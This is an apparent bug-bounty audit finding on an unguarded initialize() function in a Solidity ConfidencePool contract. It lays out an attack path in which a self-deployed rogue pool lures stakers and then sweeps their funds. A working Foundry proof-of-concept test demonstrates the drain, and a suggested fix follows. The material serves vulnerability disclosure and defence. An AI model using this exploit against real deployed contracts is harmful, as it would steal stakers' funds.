FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: high
Likelihood: medium

Unguarded initialize() on ConfidencePool Allows Anyone to Deploy Rogue Pools and Drain Staker Funds

Author Revealed upon completion

Summary

ConfidencePool.initialize() has no check that the caller is the factory or the agreement owner. Any address can clone poolImplementation (a public variable) and call initialize() with themselves as outcomeModerator_ and recoveryAddress_. The resulting rogue pool is on-chain indistinguishable from a factory-deployed pool. When the real agreement goes CORRUPTED, the attacker calls flagOutcome(CORRUPTED, ...) and claimCorrupted() on their rogue pool, sweeping 100% of staker funds to themselves.

Root Cause

ConfidencePoolFactory.createPool() enforces agreement ownership before deploying a pool:

// ConfidencePoolFactory.sol:80-82
if (!safeHarborRegistry.isAgreementValid(agreement)) revert InvalidAgreement();
if (IAgreement(agreement).owner() != msg.sender) revert UnauthorizedCreator();

However, this check only executes when createPool() is called. The attacker never calls the factory. They read factory.poolImplementation (a public state variable), deploy a clone directly, and call initialize() on it. The factory's code path is never entered.

ConfidencePool.initialize() is external initializer with no caller authorization:

// ConfidencePool.sol:179-202
function initialize(
address agreement_,
address stakeToken_,
address safeHarborRegistry_,
address outcomeModerator_, // @> attacker sets this to themselves
uint256 expiry_,
uint256 minStake_,
address recoveryAddress_, // @> attacker sets this to themselves
address owner_,
address[] calldata accounts
) external initializer {
...
if (!IBattleChainSafeHarborRegistry(safeHarborRegistry_).isAgreementValid(agreement_)) {
revert InvalidAgreement();
}
// @> No check: IAgreement(agreement_).owner() == owner_ or == msg.sender

Attack Path

Phase 1 — Setup (before any hack)

  1. Attacker reads factory.poolImplementation (public).

  2. Attacker calls Clones.clone(poolImplementation) directly — no factory involved.

  3. Attacker calls roguePool.initialize() with:

    • agreement_ = any real, valid agreement (passes isAgreementValid)

    • outcomeModerator_ = attacker address

    • recoveryAddress_ = attacker address

    • All other parameters identical to what a legitimate pool would use

  4. initialize() succeeds. Rogue pool is live. It is NOT registered in factory._poolsByAgreement.

Phase 2 — Stakers deposit

Stakers encounter the rogue pool address (posted publicly, shared in community channels, or discovered via on-chain events). They inspect it on a block explorer and see:

Field Legitimate Pool Rogue Pool
Bytecode poolImplementation clone identical
agreement real valid agreement same
stakeToken real token same
safeHarborRegistry real registry same
isAgreementValid() passes passes
outcomeModerator DAO address attacker address
recoveryAddress sponsor address attacker address
In factory.getPoolsByAgreement() YES NO

Stakers have no reason to check factory.getPoolsByAgreement() — they have no baseline to compare outcomeModerator or recoveryAddress against, and the pool passes every on-chain validity check they would reasonably perform. The DESIGN.md states "stakers should verify pool parameters before depositing," but provides no mechanism for stakers to know what the correct parameter values should be. This is a protocol-level failure, not a staker error.

Stakers deposit during NEW_DEPLOYMENT or UNDER_ATTACK state (staking is open in these states per _assertDepositsAllowed).

Phase 3 — Real protocol gets hacked

A whitehat exploits the real protocol. The BattleChain DAO verifies the report and calls markCorrupted(agreement) on the AttackRegistry. Registry state transitions to CORRUPTED. Staking is now closed on all pools.

Phase 4 — Attacker drains the rogue pool

  1. Attacker calls roguePool.flagOutcome(CORRUPTED, false, address(0)):

    • onlyModerator: msg.sender == outcomeModeratorattacker == attacker

    • Registry gate: state == IAttackRegistry.ContractState.CORRUPTED → true ✓

    • Sets outcome = CORRUPTED, corruptedReserve = snapshotTotalStaked + snapshotTotalBonus

  2. Attacker calls roguePool.claimCorrupted():

    • Sweeps stakeToken.balanceOf(roguePool)safeTransfer(recoveryAddress, toSweep)safeTransfer(attacker, 100% of staker funds)

// ConfidencePool.sol:408-426
function claimCorrupted() external nonReentrant {
...
uint256 toSweep = stakeToken.balanceOf(address(this));
...
stakeToken.safeTransfer(recoveryAddress, toSweep); // @> recoveryAddress = attacker
}

Impact

  • 100% loss of all staker funds deposited into the rogue pool.

  • The attacker contributes zero funds and performs zero hacking. They are a parasite on the real hack event.

  • The legitimate pool's stakers are unaffected — the attacker has no access to the legitimate pool.

  • The attack is not a design choice: DESIGN.md documents every intentional behavior explicitly and contains no mention of unauthorized pool deployment as accepted.

Constraints

The attacker cannot call flagOutcome(CORRUPTED, ...) before the real agreement goes CORRUPTED — the registry gate reverts:

// ConfidencePool.sol:347
if (state != IAttackRegistry.ContractState.CORRUPTED) revert InvalidOutcome();

The AttackRegistry is a DAO-controlled singleton the attacker does not control. This is the sole constraint that caps severity at Medium.

Severity

Medium — High impact (total loss of staker funds), but the CORRUPTED precondition is outside the attacker's control. The social engineering barrier is negligible: the attacker only needs to make the pool address discoverable; stakers cannot on-chain distinguish it from a legitimate pool without specialized knowledge of the factory registry.

Proof of Concept

// test/unit/RoguePoolInitialize.t.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {Test} from "forge-std/Test.sol";
import {Clones} from "@openzeppelin/contracts/proxy/Clones.sol";
import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import {ConfidencePool} from "src/ConfidencePool.sol";
import {ConfidencePoolFactory} from "src/ConfidencePoolFactory.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {MockERC20} from "test/mocks/MockERC20.sol";
import {MockAgreement} from "test/mocks/MockAgreement.sol";
import {MockAttackRegistry} from "test/mocks/MockAttackRegistry.sol";
import {MockSafeHarborRegistry} from "test/mocks/MockSafeHarborRegistry.sol";
contract RoguePoolInitializeTest is Test {
uint256 internal constant ONE = 1e18;
address internal constant STAKER_A = address(0xA1);
address internal constant STAKER_B = address(0xA2);
address internal constant ATTACKER = address(0xDEAD);
address internal constant AGREEMENT_OWNER = address(0xBEEF);
MockERC20 token;
MockAgreement agreement;
MockAttackRegistry attackRegistry;
MockSafeHarborRegistry safeHarborRegistry;
ConfidencePoolFactory factory;
ConfidencePool roguePool;
function setUp() public {
token = new MockERC20();
attackRegistry = new MockAttackRegistry(ATTACKER); // moderator irrelevant for rogue pool
safeHarborRegistry = new MockSafeHarborRegistry();
safeHarborRegistry.setAttackRegistry(address(attackRegistry));
agreement = new MockAgreement(AGREEMENT_OWNER);
safeHarborRegistry.setAgreementValid(address(agreement), true);
ConfidencePool implementation = new ConfidencePool();
ConfidencePoolFactory factoryImpl = new ConfidencePoolFactory();
ERC1967Proxy proxy = new ERC1967Proxy(
address(factoryImpl),
abi.encodeCall(
ConfidencePoolFactory.initialize,
(address(safeHarborRegistry), address(implementation), address(0xDAD0))
)
);
factory = ConfidencePoolFactory(address(proxy));
factory.setStakeTokenAllowed(address(token), true);
// Attacker reads poolImplementation (public) and clones it directly
address rogueClone = Clones.clone(factory.poolImplementation());
roguePool = ConfidencePool(rogueClone);
address[] memory scope = new address[](0);
attackRegistry.setAgreementState(address(agreement), IAttackRegistry.ContractState.NEW_DEPLOYMENT);
// Attacker calls initialize() with themselves as outcomeModerator and recoveryAddress
// No factory ownership check is triggered — factory is never called
vm.prank(ATTACKER);
roguePool.initialize(
address(agreement),
address(token),
address(safeHarborRegistry),
ATTACKER, // outcomeModerator = attacker
block.timestamp + 31 days,
ONE,
ATTACKER, // recoveryAddress = attacker
ATTACKER,
scope
);
}
function test_roguePool_drainsStakers_onCorrupted() public {
// Stakers deposit into the rogue pool (looks identical to a legitimate pool on-chain)
token.mint(STAKER_A, 100 * ONE);
token.mint(STAKER_B, 400 * ONE);
vm.startPrank(STAKER_A);
token.approve(address(roguePool), 100 * ONE);
roguePool.stake(100 * ONE);
vm.stopPrank();
vm.startPrank(STAKER_B);
token.approve(address(roguePool), 400 * ONE);
roguePool.stake(400 * ONE);
vm.stopPrank();
// Poke risk window (registry transitions through UNDER_ATTACK)
attackRegistry.setAgreementState(address(agreement), IAttackRegistry.ContractState.UNDER_ATTACK);
roguePool.pokeRiskWindow();
// BattleChain DAO marks agreement CORRUPTED after real protocol is hacked
attackRegistry.setAgreementState(address(agreement), IAttackRegistry.ContractState.CORRUPTED);
// Attacker calls flagOutcome — passes because they are the outcomeModerator
vm.prank(ATTACKER);
roguePool.flagOutcome(PoolStates.Outcome.CORRUPTED, false, address(0));
uint256 attackerBefore = token.balanceOf(ATTACKER);
// Attacker sweeps 100% of staker funds
vm.prank(ATTACKER);
roguePool.claimCorrupted();
uint256 stolen = token.balanceOf(ATTACKER) - attackerBefore;
assertEq(stolen, 500 * ONE, "attacker stole all staker funds");
assertEq(token.balanceOf(address(roguePool)), 0, "pool drained");
}
}

Recommended Mitigation

Add an ownership check inside ConfidencePool.initialize() that validates outcomeModerator_ against the registry's canonical per-agreement moderator. This ensures the attacker cannot set themselves as moderator even if they bypass the factory:

// ConfidencePool.sol — inside initialize(), after isAgreementValid check
+ address attackRegistry_ = IBattleChainSafeHarborRegistry(safeHarborRegistry_).getAttackRegistry();
+ address registryModerator = IAttackRegistry(attackRegistry_).getAttackModerator(agreement_);
+ if (outcomeModerator_ != registryModerator) revert InvalidModerator();

getAttackModerator(address) is confirmed to exist on the deployed AttackRegistry (tested in test/fork/BattleChainInterfaceDrift.fork.t.sol:76-77 and implemented in MockAttackRegistry). This binds outcomeModerator to the registry's canonical value, making it impossible for an attacker to appoint themselves as moderator regardless of how the pool is deployed.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!